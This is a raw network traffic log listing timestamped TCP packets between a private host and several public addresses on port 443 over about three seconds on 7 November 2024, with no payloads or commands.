Nov 7, 2024 17:25:23.889633894 CET	49768	443	192.168.2.6	216.58.206.68
Nov 7, 2024 17:25:23.896076918 CET	443	49768	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:23.896153927 CET	49768	443	192.168.2.6	216.58.206.68
Nov 7, 2024 17:25:23.896173000 CET	443	49768	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:23.902540922 CET	443	49780	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:23.902950048 CET	443	49780	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:23.903011084 CET	49780	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:23.903095961 CET	49780	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:23.903095961 CET	49780	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:23.903109074 CET	443	49780	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:23.903117895 CET	443	49780	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:23.905843019 CET	49788	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:23.905858994 CET	443	49788	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:23.905945063 CET	49788	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:23.906071901 CET	49788	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:23.906084061 CET	443	49788	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:23.937714100 CET	443	49781	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:23.938035965 CET	443	49781	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:23.938088894 CET	49781	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:23.938148975 CET	49781	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:23.938163042 CET	443	49781	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:23.938173056 CET	49781	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:23.938179016 CET	443	49781	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:23.941168070 CET	49789	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:23.941190958 CET	443	49789	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:23.941595078 CET	49789	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:23.941760063 CET	49789	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:23.941772938 CET	443	49789	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:23.941922903 CET	443	49768	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:23.941946030 CET	443	49768	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:23.941992044 CET	49768	443	192.168.2.6	216.58.206.68
Nov 7, 2024 17:25:23.941999912 CET	443	49768	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:23.942049026 CET	49768	443	192.168.2.6	216.58.206.68
Nov 7, 2024 17:25:23.948885918 CET	443	49768	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:23.953447104 CET	443	49768	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:23.953507900 CET	49768	443	192.168.2.6	216.58.206.68
Nov 7, 2024 17:25:23.953516006 CET	443	49768	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:23.954672098 CET	443	49782	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:23.955002069 CET	443	49782	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:23.955054998 CET	49782	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:23.955106974 CET	49782	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:23.955116987 CET	443	49782	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:23.955140114 CET	49782	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:23.955144882 CET	443	49782	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:23.957690001 CET	49790	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:23.957700968 CET	443	49790	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:23.957752943 CET	49790	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:23.957945108 CET	49790	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:23.957957029 CET	443	49790	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:23.993242025 CET	49768	443	192.168.2.6	216.58.206.68
Nov 7, 2024 17:25:23.998316050 CET	443	49768	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:24.005187035 CET	443	49768	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:24.005215883 CET	443	49768	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:24.005244017 CET	443	49768	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:24.005269051 CET	443	49768	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:24.005275011 CET	49768	443	192.168.2.6	216.58.206.68
Nov 7, 2024 17:25:24.005295038 CET	443	49768	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:24.005309105 CET	49768	443	192.168.2.6	216.58.206.68
Nov 7, 2024 17:25:24.005341053 CET	49768	443	192.168.2.6	216.58.206.68
Nov 7, 2024 17:25:24.011835098 CET	443	49768	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:24.057524920 CET	443	49768	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:24.057554007 CET	443	49768	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:24.057625055 CET	49768	443	192.168.2.6	216.58.206.68
Nov 7, 2024 17:25:24.057647943 CET	443	49768	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:24.057688951 CET	49768	443	192.168.2.6	216.58.206.68
Nov 7, 2024 17:25:24.064657927 CET	443	49768	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:24.111637115 CET	443	49768	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:24.111720085 CET	49768	443	192.168.2.6	216.58.206.68
Nov 7, 2024 17:25:24.111736059 CET	443	49768	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:24.114151001 CET	443	49768	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:24.114198923 CET	49768	443	192.168.2.6	216.58.206.68
Nov 7, 2024 17:25:24.114207029 CET	443	49768	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:24.121778011 CET	443	49768	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:24.121800900 CET	443	49768	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:24.121825933 CET	443	49768	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:24.121838093 CET	49768	443	192.168.2.6	216.58.206.68
Nov 7, 2024 17:25:24.121845961 CET	443	49768	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:24.121879101 CET	49768	443	192.168.2.6	216.58.206.68
Nov 7, 2024 17:25:24.122802019 CET	443	49768	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:24.122864008 CET	443	49768	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:24.122916937 CET	49768	443	192.168.2.6	216.58.206.68
Nov 7, 2024 17:25:24.123123884 CET	49768	443	192.168.2.6	216.58.206.68
Nov 7, 2024 17:25:24.123136997 CET	443	49768	216.58.206.68	192.168.2.6
Nov 7, 2024 17:25:24.151308060 CET	443	49776	4.245.163.56	192.168.2.6
Nov 7, 2024 17:25:24.151348114 CET	443	49776	4.245.163.56	192.168.2.6
Nov 7, 2024 17:25:24.151355028 CET	443	49776	4.245.163.56	192.168.2.6
Nov 7, 2024 17:25:24.151369095 CET	443	49776	4.245.163.56	192.168.2.6
Nov 7, 2024 17:25:24.151402950 CET	443	49776	4.245.163.56	192.168.2.6
Nov 7, 2024 17:25:24.151421070 CET	49776	443	192.168.2.6	4.245.163.56
Nov 7, 2024 17:25:24.151437044 CET	443	49776	4.245.163.56	192.168.2.6
Nov 7, 2024 17:25:24.151468992 CET	49776	443	192.168.2.6	4.245.163.56
Nov 7, 2024 17:25:24.151480913 CET	49776	443	192.168.2.6	4.245.163.56
Nov 7, 2024 17:25:24.152724028 CET	443	49776	4.245.163.56	192.168.2.6
Nov 7, 2024 17:25:24.152812958 CET	49776	443	192.168.2.6	4.245.163.56
Nov 7, 2024 17:25:24.152821064 CET	443	49776	4.245.163.56	192.168.2.6
Nov 7, 2024 17:25:24.162166119 CET	49776	443	192.168.2.6	4.245.163.56
Nov 7, 2024 17:25:24.162182093 CET	443	49776	4.245.163.56	192.168.2.6
Nov 7, 2024 17:25:24.162250996 CET	49776	443	192.168.2.6	4.245.163.56
Nov 7, 2024 17:25:24.162411928 CET	443	49776	4.245.163.56	192.168.2.6
Nov 7, 2024 17:25:24.162456036 CET	443	49776	4.245.163.56	192.168.2.6
Nov 7, 2024 17:25:24.162514925 CET	49776	443	192.168.2.6	4.245.163.56
Nov 7, 2024 17:25:24.451244116 CET	443	49784	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:24.458507061 CET	49784	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:24.458523989 CET	443	49784	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:24.458993912 CET	49784	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:24.458998919 CET	443	49784	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:24.548533916 CET	443	49786	173.222.162.64	192.168.2.6
Nov 7, 2024 17:25:24.548616886 CET	49786	443	192.168.2.6	173.222.162.64
Nov 7, 2024 17:25:24.595181942 CET	49786	443	192.168.2.6	173.222.162.64
Nov 7, 2024 17:25:24.595207930 CET	443	49786	173.222.162.64	192.168.2.6
Nov 7, 2024 17:25:24.595588923 CET	443	49786	173.222.162.64	192.168.2.6
Nov 7, 2024 17:25:24.595649004 CET	49786	443	192.168.2.6	173.222.162.64
Nov 7, 2024 17:25:24.596366882 CET	49786	443	192.168.2.6	173.222.162.64
Nov 7, 2024 17:25:24.596395016 CET	443	49786	173.222.162.64	192.168.2.6
Nov 7, 2024 17:25:24.597074986 CET	49786	443	192.168.2.6	173.222.162.64
Nov 7, 2024 17:25:24.621505976 CET	443	49787	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:24.622237921 CET	49787	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:24.622267008 CET	443	49787	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:24.624473095 CET	49787	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:24.624486923 CET	443	49787	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:24.642821074 CET	443	49788	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:24.643337965 CET	443	49786	173.222.162.64	192.168.2.6
Nov 7, 2024 17:25:24.643462896 CET	49788	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:24.643486023 CET	443	49788	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:24.646182060 CET	49788	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:24.646188021 CET	443	49788	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:24.664505959 CET	443	49784	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:24.664582968 CET	443	49784	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:24.664722919 CET	49784	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:24.665280104 CET	49784	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:24.665301085 CET	443	49784	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:24.665314913 CET	49784	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:24.665321112 CET	443	49784	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:24.668658018 CET	49796	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:24.668687105 CET	443	49796	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:24.668754101 CET	49796	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:24.668898106 CET	49796	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:24.668911934 CET	443	49796	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:24.686736107 CET	443	49789	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:24.687211037 CET	49789	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:24.687236071 CET	443	49789	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:24.687742949 CET	49789	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:24.687750101 CET	443	49789	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:24.702092886 CET	443	49790	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:24.702691078 CET	49790	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:24.702702045 CET	443	49790	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:24.703259945 CET	49790	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:24.703265905 CET	443	49790	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:24.753123045 CET	443	49787	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:24.753557920 CET	443	49787	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:24.753797054 CET	49787	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:24.753797054 CET	49787	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:24.754525900 CET	49787	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:24.754558086 CET	443	49787	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:24.756886005 CET	49797	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:24.756922007 CET	443	49797	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:24.757021904 CET	49797	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:24.757169008 CET	49797	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:24.757184029 CET	443	49797	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:24.776354074 CET	443	49788	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:24.776413918 CET	443	49788	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:24.776668072 CET	49788	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:24.777290106 CET	49788	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:24.777290106 CET	49788	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:24.777302027 CET	443	49788	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:24.777311087 CET	443	49788	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:24.780514956 CET	49798	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:24.780530930 CET	443	49798	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:24.780647993 CET	49798	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:24.780832052 CET	49798	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:24.780843973 CET	443	49798	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:24.809309959 CET	443	49786	173.222.162.64	192.168.2.6
Nov 7, 2024 17:25:24.810406923 CET	443	49786	173.222.162.64	192.168.2.6
Nov 7, 2024 17:25:24.810668945 CET	49786	443	192.168.2.6	173.222.162.64
Nov 7, 2024 17:25:24.817008972 CET	443	49789	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:24.817274094 CET	443	49789	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:24.819077015 CET	49789	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:24.820159912 CET	49789	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:24.820173025 CET	443	49789	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:24.822196007 CET	49786	443	192.168.2.6	173.222.162.64
Nov 7, 2024 17:25:24.822215080 CET	443	49786	173.222.162.64	192.168.2.6
Nov 7, 2024 17:25:24.822268963 CET	49786	443	192.168.2.6	173.222.162.64
Nov 7, 2024 17:25:24.822354078 CET	49786	443	192.168.2.6	173.222.162.64
Nov 7, 2024 17:25:24.824032068 CET	49799	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:24.824047089 CET	443	49799	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:24.824188948 CET	49799	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:24.824362993 CET	49799	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:24.824373960 CET	443	49799	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:24.831103086 CET	443	49790	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:24.831326962 CET	443	49790	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:24.831409931 CET	49790	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:24.831603050 CET	49790	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:24.831603050 CET	49790	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:24.831609011 CET	443	49790	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:24.831615925 CET	443	49790	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:24.834181070 CET	49800	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:24.834209919 CET	443	49800	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:24.834400892 CET	49800	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:24.834400892 CET	49800	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:24.834427118 CET	443	49800	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:25.402278900 CET	443	49796	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:25.403234005 CET	49796	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:25.403264046 CET	443	49796	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:25.403625965 CET	49796	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:25.403631926 CET	443	49796	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:25.504420996 CET	443	49797	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:25.505757093 CET	49797	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:25.505773067 CET	443	49797	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:25.507177114 CET	49797	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:25.507183075 CET	443	49797	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:25.513031960 CET	49801	443	192.168.2.6	40.115.3.253
Nov 7, 2024 17:25:25.513067961 CET	443	49801	40.115.3.253	192.168.2.6
Nov 7, 2024 17:25:25.513197899 CET	49801	443	192.168.2.6	40.115.3.253
Nov 7, 2024 17:25:25.513905048 CET	49801	443	192.168.2.6	40.115.3.253
Nov 7, 2024 17:25:25.513920069 CET	443	49801	40.115.3.253	192.168.2.6
Nov 7, 2024 17:25:25.530711889 CET	443	49796	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:25.530973911 CET	443	49796	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:25.531155109 CET	49796	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:25.531155109 CET	49796	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:25.531478882 CET	49796	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:25.531491041 CET	443	49796	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:25.535029888 CET	49802	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:25.535068989 CET	443	49802	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:25.535160065 CET	49802	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:25.535496950 CET	49802	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:25.535512924 CET	443	49802	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:25.553052902 CET	443	49799	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:25.553997993 CET	49799	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:25.553997993 CET	49799	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:25.554009914 CET	443	49799	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:25.554024935 CET	443	49799	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:25.556680918 CET	443	49798	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:25.557434082 CET	49798	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:25.557444096 CET	443	49798	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:25.559680939 CET	443	49800	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:25.559741974 CET	49798	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:25.559746027 CET	443	49798	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:25.560209990 CET	49800	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:25.560225010 CET	443	49800	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:25.560811043 CET	49800	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:25.560817957 CET	443	49800	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:25.631913900 CET	443	49797	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:25.632086992 CET	443	49797	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:25.632255077 CET	49797	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:25.632255077 CET	49797	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:25.632294893 CET	49797	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:25.632311106 CET	443	49797	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:25.635454893 CET	49803	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:25.635489941 CET	443	49803	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:25.635904074 CET	49803	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:25.636198044 CET	49803	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:25.636209965 CET	443	49803	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:25.681449890 CET	443	49799	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:25.681535006 CET	443	49799	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:25.685131073 CET	49799	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:25.685148001 CET	49799	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:25.685148001 CET	49799	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:25.685161114 CET	443	49799	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:25.685168028 CET	443	49799	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:25.687589884 CET	443	49800	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:25.687829971 CET	443	49800	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:25.687900066 CET	49800	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:25.688194990 CET	49800	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:25.688205957 CET	443	49800	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:25.688235044 CET	49800	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:25.688241005 CET	443	49800	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:25.691592932 CET	49804	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:25.691631079 CET	443	49804	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:25.691771984 CET	49804	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:25.691927910 CET	443	49798	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:25.692033052 CET	443	49798	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:25.692101002 CET	49798	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:25.692265987 CET	49804	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:25.692279100 CET	443	49804	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:25.692454100 CET	49798	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:25.692454100 CET	49798	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:25.692464113 CET	443	49798	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:25.692471027 CET	443	49798	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:25.692939043 CET	49805	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:25.692972898 CET	443	49805	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:25.693037987 CET	49805	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:25.693275928 CET	49805	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:25.693289042 CET	443	49805	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:25.694324970 CET	49806	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:25.694334030 CET	443	49806	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:25.696877003 CET	49806	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:25.697169065 CET	49806	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:25.697185040 CET	443	49806	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:26.275041103 CET	443	49802	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:26.275593996 CET	49802	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:26.275602102 CET	443	49802	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:26.276127100 CET	49802	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:26.276130915 CET	443	49802	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:26.386477947 CET	443	49803	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:26.388648987 CET	49803	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:26.388662100 CET	443	49803	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:26.389333963 CET	49803	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:26.389338017 CET	443	49803	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:26.404150963 CET	443	49802	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:26.404232025 CET	443	49802	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:26.404412031 CET	49802	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:26.404464006 CET	49802	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:26.404476881 CET	443	49802	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:26.404486895 CET	49802	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:26.404493093 CET	443	49802	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:26.407624960 CET	49810	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:26.407656908 CET	443	49810	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:26.407726049 CET	49810	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:26.407916069 CET	49810	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:26.407929897 CET	443	49810	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:26.415571928 CET	443	49806	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:26.415963888 CET	49806	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:26.415981054 CET	443	49806	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:26.416470051 CET	49806	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:26.416475058 CET	443	49806	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:26.423413992 CET	443	49804	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:26.423762083 CET	49804	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:26.423770905 CET	443	49804	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:26.424168110 CET	49804	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:26.424174070 CET	443	49804	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:26.447735071 CET	443	49805	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:26.448292971 CET	49805	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:26.448317051 CET	443	49805	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:26.448782921 CET	49805	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:26.448793888 CET	443	49805	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:26.519922018 CET	443	49803	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:26.520195961 CET	443	49803	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:26.520971060 CET	49803	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:26.530889034 CET	49803	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:26.530889034 CET	49803	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:26.530915976 CET	443	49803	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:26.530926943 CET	443	49803	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:26.541784048 CET	49811	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:26.541810036 CET	443	49811	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:26.541889906 CET	49811	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:26.542525053 CET	49811	443	192.168.2.6	13.107.246.45
Nov 7, 2024 17:25:26.542542934 CET	443	49811	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:26.545319080 CET	443	49806	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:26.545386076 CET	443	49806	13.107.246.45	192.168.2.6
Nov 7, 2024 17:25:26.545494080 CET	49806	443	192.168.2.6	13.107.246.45
